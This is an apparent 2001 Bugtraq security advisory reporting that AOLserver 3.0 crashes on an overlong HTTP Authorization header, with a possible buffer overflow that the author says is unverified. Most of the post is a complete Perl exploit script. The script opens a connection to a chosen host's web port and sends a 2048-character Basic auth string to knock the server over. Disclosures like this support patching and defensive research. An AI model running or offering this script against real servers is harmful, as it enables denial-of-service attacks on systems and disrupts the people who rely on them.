From:	 Nate Haggard <nate@securitylogics.com>
To:	 bugtraq@securityfocus.com
Subject: AOLserver 3.0 vulnerability
Date:	 Wed, 22 Aug 2001 16:51:45 -0600

Aolserver 3.0 will crash when it is given a long authorization string.  It 
is also possible this vulnerability will allow a hacker to execute 
arbitrary code through a buffer overflow. I have not verified a buffer 
overflow exists.  Aolserver 3.4 and 3.3.1 are not vulnerable to this attack.

Here is a sample exploit:
------------------------------------------
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto     => "tcp",
                                 PeerAddr  => $host,
                                 PeerPort  => "http(80)",
                                 );
unless ($remote) { die "cannot connect to http daemon on $host" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;


--------------------
Nate Haggard
SecurityLogics.com